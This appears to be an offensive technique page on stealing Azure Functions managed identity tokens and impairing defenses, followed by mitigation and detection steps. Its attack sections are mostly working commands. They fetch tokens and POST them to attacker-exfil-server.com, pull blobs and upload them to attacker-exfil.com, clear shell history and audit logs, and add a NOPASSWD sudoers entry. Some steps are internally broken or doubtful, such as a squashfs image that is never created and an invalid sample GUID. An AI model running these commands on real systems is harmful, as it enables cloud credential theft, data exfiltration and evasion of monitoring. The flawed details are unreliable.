| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-005 |
| MITRE ATT&CK v18.1 | T1562 - Impair Defenses |
| Tactic | Defense Evasion |
| Platforms | Entra ID, Azure |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All Azure Functions versions |
| Patched In | N/A (Microsoft implemented containment boundaries) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Functions store runtime configuration in environment variables (IDENTITY_ENDPOINT, IDENTITY_HEADER, WEBSITE_INSTANCE_ID, etc.) that are injected by the platform. An attacker with code execution in a Function App container can read and manipulate these runtime variables to obtain managed identity tokens, modify function behavior, or escalate privileges within the container before breaking out to the underlying Hyper-V host. This is fundamentally an evasion technique because it allows attackers to operate silently within function execution contexts without triggering normal logging mechanisms.
Attack Surface: Azure Function App containers, Function runtime environment, IDENTITY_ENDPOINT HTTP service listening on localhost:6060, environment variable injection mechanisms.
Business Impact: Complete compromise of Function App workloads and potential lateral movement across Azure resources. An attacker can steal managed identity tokens that grant access to subscriptions, storage accounts, databases, and virtual machines. This enables silent data exfiltration, ransomware deployment, or infrastructure sabotage without audit trail detection.
Technical Context: Exploitation typically takes 5-15 minutes once code execution is achieved. Detection is low because environment variable reads are not audited by Azure Monitor/Application Insights by default. Managed identity token theft is particularly dangerous because the stolen token contains the same permissions as the Function App’s assigned MSI.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 7.6 | Ensure that managed identities are only granted necessary permissions |
| DISA STIG | AC-3 (1.1.1) | Access control enforcement - prevent unauthorized API calls |
| NIST 800-53 | AC-3, SC-7 | Access Enforcement and Boundary Protection |
| GDPR | Art. 32 | Security of Processing - Technical measures to protect data |
| DORA | Art. 9 | Protection and Prevention - Secure access controls |
| NIS2 | Art. 21 | Cyber Risk Management Measures - Identity and access controls |
| ISO 27001 | A.9.2.1 | User Registration and De-registration |
| ISO 27005 | “Compromise of cloud workload execution environment” | Risk Scenario |
Verify Function Runtime Environment (PowerShell in Function):
Get-Item Env:IDENTITY_ENDPOINT
Get-Item Env:IDENTITY_HEADER
Get-Item Env:WEBSITE_INSTANCE_ID
Get-Item Env:HOME
Get-Item Env:PATH
Linux Equivalent:
env | grep -E "IDENTITY|WEBSITE|HOME"
Supported Versions: All Azure Functions versions
Objective: Identify if Function is running with managed identity and extract IDENTITY_ENDPOINT + IDENTITY_HEADER.
Command (PowerShell):
$identityEndpoint = $env:IDENTITY_ENDPOINT
$identityHeader = $env:IDENTITY_HEADER
Write-Host "Endpoint: $identityEndpoint"
Write-Host "Header: $identityHeader"
Command (Bash):
curl -s "$IDENTITY_ENDPOINT/?resource=https://management.azure.com/&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER" | jq .
Expected Output (Success):
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjB....",
"expires_on": "1736346000",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}
What This Means:
OpSec & Evasion:
history -cTroubleshooting:
Objective: Steal the managed identity token and send to attacker-controlled server.
Command (PowerShell - One-Liner Injected into Function):
$token = (Invoke-WebRequest -Uri "$env:IDENTITY_ENDPOINT/?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{'X-IDENTITY-HEADER' = $env:IDENTITY_HEADER} | ConvertFrom-Json).access_token;
Invoke-WebRequest -Uri "https://attacker-exfil-server.com/token" -Method POST -Body @{token=$token} -UseBasicParsing
Command (Bash):
TOKEN=$(curl -s "$IDENTITY_ENDPOINT/?resource=https://management.azure.com/&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER" | jq -r .access_token)
curl -X POST -d "token=$TOKEN" https://attacker-exfil-server.com/capture
Expected Output: HTTP 200/201 from exfil server (attacker receives token).
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: All Azure Functions versions (if storage account access is available)
Objective: Find the Function App’s configuration file to understand runtime behavior and identify logging/monitoring settings.
Command (File Discovery in Container):
find / -name "host.json" 2>/dev/null | head -5
Expected Output:
/home/site/wwwroot/host.json
What This Means:
OpSec & Evasion:
Objective: Disable telemetry collection to hide function execution traces.
Command (Modify Environment Variables):
export APPINSIGHTS_ENABLED=false
export APPINSIGHTS_INSTRUMENTATIONKEY=""
export ApplicationInsightsAgent_EXTENSION_VERSION=~3_disabled
Expected Behavior: Subsequent function executions will not be logged to Application Insights.
What This Means:
OpSec & Evasion:
Supported Versions: Linux-based Azure Functions only
Objective: Discover if /etc and /sys directories are accessible for manipulation.
Command (Enumeration):
mount | grep -E "overlay|tmpfs|squashfs"
ls -la /proc/self/cgroup | head -3
Expected Output:
overlay on / type overlay (rw,relatime,...)
...
What This Means:
OpSec & Evasion:
Objective: Escalate from unprivileged app user to root inside container.
Command (Sudoers Mount via Host.json Manipulation):
# Create custom squashfs with sudoers file
mkdir -p /tmp/sudoedit
echo "app ALL=(ALL) NOPASSWD:ALL" > /tmp/sudoedit/100-app
# Mount over /etc/sudoers.d
curl -X POST "http://localhost:6060/admin/mount-squashfs" \
-d "target=/etc/sudoers.d&image=/tmp/evil.squashfs"
# Verify
su - root # Should succeed without password
Expected Output: Shell prompt changes to # (root).
What This Means:
OpSec & Evasion:
echo "" > /var/log/audit/audit.logStep 1: Steal managed identity token (METHOD 1, Step 1-2)
TOKEN=$(curl -s "$IDENTITY_ENDPOINT/?resource=https://management.azure.com/&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER" | jq -r .access_token)
Step 2: Enumerate storage accounts accessible by MSI:
curl -s "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Storage/storageAccounts?api-version=2021-04-01" \
-H "Authorization: Bearer $TOKEN" | jq '.value[].name'
Step 3: List blobs in discovered storage account:
curl -s "https://{storageaccount}.blob.core.windows.net/{container}?restype=container&comp=list" \
-H "Authorization: Bearer $TOKEN"
Step 4: Download sensitive files (databases, credentials):
curl -s "https://{storageaccount}.blob.core.windows.net/{container}/{blob}" \
-H "Authorization: Bearer $TOKEN" -o /tmp/stolen_data
Step 5: Exfiltrate:
curl -X POST --data-binary @/tmp/stolen_data https://attacker-exfil.com/upload
# Disable Function App to stop ongoing malicious execution
az functionapp stop --name <FunctionAppName> --resource-group <ResourceGroup>
Manual (Azure Portal):
# Rotate managed identity (nuclear option - will break legitimate access)
# Step 1: Remove old identity
az functionapp identity remove --name <FunctionAppName> --resource-group <ResourceGroup>
# Step 2: Assign new identity
az functionapp identity assign --name <FunctionAppName> --resource-group <ResourceGroup> --identities [system]
Impact: All existing managed identity tokens become invalid. Applications relying on this MSI will break and must be redeployed.
# Export Function App configuration
az functionapp config appsettings list --name <FunctionAppName> --resource-group <ResourceGroup> --output json > /tmp/function_config.json
# Export storage account activity logs (if available)
Get-AzStorageAccountKey -ResourceGroupName <ResourceGroup> -Name <StorageAccountName>
Manual (Azure Portal):
Implement Managed Identity RBAC Least Privilege
Applies To Versions: All Azure Functions
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Get Function App managed identity
$functionAppResourceId = "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.Web/sites/{functionAppName}"
$identity = Get-AzFunctionApp -ResourceGroupName <ResourceGroup> -Name <FunctionAppName>
# List current role assignments
Get-AzRoleAssignment -ObjectId $identity.Identity.PrincipalId
# Remove overly permissive roles
Remove-AzRoleAssignment -ObjectId $identity.Identity.PrincipalId -RoleDefinitionName "Contributor"
# Assign least-privilege custom role
New-AzRoleDefinition -InputFile custom-role.json
New-AzRoleAssignment -ObjectId $identity.Identity.PrincipalId -RoleDefinitionName "CustomFunctionMinimal"
Disable Managed Identity if Unused
Applies To Versions: All versions
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
az functionapp identity remove --name <FunctionAppName> --resource-group <ResourceGroup>
Enable Application Insights & Monitoring (Cannot Be Disabled by Code)
Manual Steps:
Verification Command:
$app = Get-AzFunctionApp -ResourceGroupName <ResourceGroup> -Name <FunctionAppName>
$app.AppServicePlanId
$app.Config.applicationInsightsResourceId
# Should return a non-empty AppInsights resource ID
Restrict Container Image Sources (If Using Container-Based Functions)
Manual Steps:
Conditional Access: Block Function App from authenticating outside expected network/device conditions
Manual Steps:
Block Function App Anonymous ExecutionOther clients (blocks API-only access)Network Security: Private Endpoints & Vnet Integration
Manual Steps:
# Check Managed Identity RBAC
Get-AzRoleAssignment -ObjectId (Get-AzFunctionApp -Name <FunctionAppName> -ResourceGroupName <ResourceGroup>).Identity.PrincipalId
# Should output only minimum required roles (e.g., "Storage Account Data Reader" on specific scope)
# Check Managed Identity Status
$app = Get-AzFunctionApp -Name <FunctionAppName> -ResourceGroupName <ResourceGroup>
$app.Identity.Type # Should be "None" or "UserAssigned" (not "SystemAssigned" unless required)
# Check Application Insights Integration
(Get-AzFunctionApp -Name <FunctionAppName> -ResourceGroupName <ResourceGroup>).AppInsightsConfig.InstrumentationKey
# Should return a non-null GUID
# Check Vnet Integration
(Get-AzFunctionApp -Name <FunctionAppName> -ResourceGroupName <ResourceGroup>).VirtualNetworkType
# Should return "Internal" or similar if integrated
Expected Output (If Secure):
Type : Storage Blob Data Reader
Scope : /subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Storage/storageAccounts/{storageName}
RoleDefinitionName : Storage Blob Data Reader
CanDelegate : False
Identity Type: UserAssigned
[With explicitly assigned identities only]
InstrumentationKey : a1b2c3d4-e5f6-7g8h-9i0j-k1l2m3n4o5p6
[Non-empty GUID shows AppInsights is connected]
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse | Deploy malicious Function App or execute code via exposed HTTP trigger |
| 2 | Execution | [CODE-EXEC-001] RCE in Function Code | Inject malicious code during function execution (deserialization vulnerability) |
| 3 | Current Step | [EVADE-IMPAIR-005] | Extract managed identity token and manipulate runtime environment |
| 4 | Privilege Escalation | [PE-VALID-011] Managed Identity MSI Escalation | Use stolen token to access unintended resources (VMs, databases, key vaults) |
| 5 | Impact | [EXF-001] Exfiltration Over Web Service | Steal data from accessed resources (databases, storage accounts) |